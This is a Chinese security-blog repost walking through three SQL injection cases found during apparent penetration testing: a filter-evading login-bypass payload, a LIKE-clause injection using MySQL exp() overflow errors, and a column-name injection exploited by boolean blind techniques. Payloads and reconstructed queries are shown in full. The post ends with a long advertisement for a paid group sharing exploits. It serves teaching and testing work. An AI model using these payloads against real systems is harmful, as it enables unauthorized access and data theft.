【攻防演练】SQL注入——猎奇案例篇
原文链接: https://mp.weixin.qq.com/s?__biz=Mzk0Mzc1MTI2Nw==&mid=2247492891&idx=1&sn=53e633cb9ea05a797b761d7ff2e09629
【攻防演练】SQL注入——猎奇案例篇
0x1eeA 神农Sec 2025-07-10 01:02
扫码加圈子
获内部资料
网络安全领域各种资源,EDUSRC证书站挖掘、红蓝攻防、渗透测试等优质文章,以及工具分享、前沿信息分享、POC、EXP分享。
不定期分享各种好玩的项目及好用的工具,欢迎关注。加内部圈子,文末有彩蛋(知识星球优惠卷)。
文章作者:0x1eeA
文章来源:https://www.freebuf.com/articles/web/430960.html
案例一:高防护下的万能密码
入手点就是这个登录页面了
账号密码随便输入,抓包
ln为用户名,pwd为密码。ln参数加个单引号试试。
发现500了,这明显有问题啊,再加一个单引号。
实锤了,这位置存在SQL注入漏洞。登录接口,直接使用万能密码尝试绕过登录。
发现直接没返回包了,不妙啊,感觉请求像是被设备识别关键字拦截掉了。尝试发现设备几乎对所有重要的关键词都设防了,各种绕过方式均以失败告终。
那是否存在一条万能密码payload可以在不使用关键词的前提下成功绕过登录? 有的兄弟,有的!!
ln=admin';--+-
咦?竟然没进去,看来还是得研究下这个payload原理。
小雷猜测该处的SQL语法是这样的。
select * from user where username=.'$ln'. and password=.'$pwd';
当小雷的payload打进去,语法就变成了
select * from user where username='admin';--+-' and password='123456';
其实也就是:
select * from user where username='admin';
也就是目前payload让原本校验用户名和密码的SQL语句变成了只校验用户名,但是为什么没进去?
答案是:系统不存在admin用户,接下来就简单了,直接爆破admin这个位置。
可见,系统的安全不能完全依仗设备。
案例二:LIKE注入
入手点依旧是一个平平无奇的登录页面
通过爆破成功登录,在管理员管理位置抓到一个数据包。
roles参数加单引号
直接丢给sqlmap,参数拉到最高竟然没跑出来,看来又得演示手法了。
先把SQL语句扣下来,格式化下语法结构。
SELECT *
FROM
`eb_system_admin`
WHERE
( CONCAT(',',roles,',') LIKE '%,111111111111',%' )
AND
`is_del` = :ThinkBind_1_114815451_
AND
`level` = :ThinkBind_2_293448294_ LIMIT 0,20
像这种LIKE注入一定要注意他原本的格式,先把注入点前后语法补齐,然后插入
and
或者
or
。
先补齐前后语法,通过AND配合语法格式在注入点将语句前后都补齐。
aaaaaaaa,%')+AND+(CONCAT(',',roles,',')+LIKE+'%,aaaaaaaa
SELECT *
FROM
`eb_system_admin`
WHERE
(CONCAT(',',roles,',') LIKE '%,aaaaaaaa,%')
AND
(CONCAT(',',roles,',') LIKE '%,aaaaaaaa,%')
AND
`is_del` = :ThinkBind_1_114815451_
AND
`level` = :ThinkBind_2_293448294_ LIMIT 0,20
完美,我们把payload赋给roles参数,发包看一下。
不报错了,说明前后语法已经被完美闭合。接下来,我们再加一个AND,
aaaaaaaa,%')+AND+1+LIKE+1+AND+(CONCAT(',',roles,',')+LIKE+'%,aaaaaaaa
SELECT *
FROM
`eb_system_admin`
WHERE
(CONCAT(',',roles,',') LIKE '%,aaaaaaaa,%')
AND
1 LIKE 1
AND
(CONCAT(',',roles,',') LIKE '%,aaaaaaaa,%')
AND
`is_del` = :ThinkBind_1_114815451_
AND
`level` = :ThinkBind_2_293448294_ LIMIT 0,20
再把payload带入发包。
然后进一步修改payload,利用exp()函数特性进行SQL注入
aaaaaaaa,%')+AND+1+LIKE+1+AND+(CONCAT(',',roles,',')+LIKE+'%,aaaaaaaa
–>
aaaaaaaa,%')+AND+1+LIKE+exp(709)+AND+(CONCAT(',',roles,',')+LIKE+'%,aaaaaaaa
无报错
–>
aaaaaaaa,%')+AND+1+LIKE+exp(710)+AND+(CONCAT(',',roles,',')+LIKE+'%,aaaaaaaa
报错
这是因为在mysql中exp()函数的参数值大于709时会抛出一个溢出异常。
根据此特性构造payload
/adminapi/setting/admin?roles=aaaaaaaa,%')+AND+1+LIKE+exp(999-length(version()))+AND+(CONCAT(',',roles,',')+LIKE+'%,aaaaaaaa
主要是这里
exp(999-length(version()))
,fuzz “999”的位置,直到不报错。
最终发现,当”999″的位置替换为719时,不报错;当”999″的位置替换为720时系统报错。
也就是
720-length(version() = 710
,所以当前数据库版本的长度为10。
点到为止,下一个下一个。
案例三:字段名注入
依然是朴实无华的登录页面。
通过朴实无华的fuzz大法登录系统,在用户管理处抓包。
value
就是我们输入的内容。
测试发现value参数并无注入漏洞,field参数加单引号回显包状态码会500。
再加一个单引号,直接爆出了SQL语句。
sqlmap参数拉到最高,依然没跑出来。
把SQL语句抠出来,格式化。
SELECT count(*) as id
FROM
account
WHERE
(account.username LIKE ?)
有代码基础的兄弟一看到这个SQL语句就明白为啥
value
参数没有注入漏洞了,典型预编译写法,看来程序员还是有一定安全意识的。
仔细观察返回包参数和SQL语法。
而我们主要要看的就是
field
参数,
field
参数被拼接到了字段名中。
还是跟上面一样,先把注入点前后语法补齐。
username like '1') and (1
SELECT count(*) as id
FROM
account
WHERE
(account.username like '1')
and
(1 like LIKE ?)
带入发包。
没报错,说明语法被完美闭合了。因为这个功能是查询用户,所以我们可以通过
or
进行布尔盲注。
username like '1') or 1=1 and (1
长度1388
username like '1') or 1=2 and (1
长度339
构造payload
username like '1') or n=length(user()) and (1
当n=length(user()) 时,也就是n为当前数据库用户名长度时,返回包长度为1388
最终爆破出用户名长度为14,依然是点到为止。
内部小圈子详情介绍
我们是
神农安全
,点赞 + 在看
铁铁们点起来,最后祝大家都能心想事成、发大财、行大运。
内部圈子介绍
圈子专注于更新src/红蓝攻防相关:
1、维护更新src专项漏洞知识库,包含原理、挖掘技巧、实战案例
2、知识星球专属微信“小圈子交流群”
3、微信小群一起挖洞
4、内部团队专属EDUSRC证书站漏洞报告
5、分享src优质视频课程(企业src/EDUSRC/红蓝队攻防)
6、分享src挖掘技巧tips
7、不定期有众测、渗透测试项目(一起挣钱)
8、不定期有工作招聘内推(工作/护网内推)
9、送全国职业技能大赛环境+WP解析(比赛拿奖)
内部圈子
专栏介绍
知识星球内部共享资料截屏详情如下
(只要没有特殊情况,每天都保持更新)
知识星球——
神农安全
星球现价
¥45元
如果你觉得应该加入,就不要犹豫,价格只会上涨,不会下跌
星球人数少于1000人 45元/年
星球人数少于1200人 65元/年
(新人优惠卷20,扫码或者私信我即可领取)
欢迎加入星球一起交流,券后价仅45元!!! 即将满1000人涨价
长期
更新,更多的0day/1day漏洞POC/EXP
内部知识库–
(持续更新中)
知识库部分大纲目录如下:
知识库跟
知识星球联动,基本上每天保持
更新,满足圈友的需求
知识库和知识星球有师傅们关注的
EDUSRC
和
CNVD相关内容(内部资料)
还有网上流出来的各种
SRC/CTF等课程视频
量大管饱,扫描下面的知识星球二维码加入即可
不会挖CNVD?不会挖EDURC?不会挖企业SRC?不会打nday和通杀漏洞?
直接加入我们小圈子:
知识星球+内部圈子交流群+知识库
快来吧!!
神农安全知识库内部配置很多
内部工具和资料💾,
玄机靶场邀请码+EDUSRC邀请码等等
快要护网来临,是不是需要
护网面试题汇总
?
问题+答案(超级详细🔎)
最后,师傅们也是希望找个
好工作,那么常见的
渗透测试/安服工程师/驻场面试题目,你值得拥有!!!
内部小圈子——
圈友反馈
(
良心价格
)
神农安全公开交流群
有需要的师傅们直接扫描文章二维码加入,然后要是后面群聊二维码扫描加入不了的师傅们,直接扫描文章开头的二维码加我(备注加群)
申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.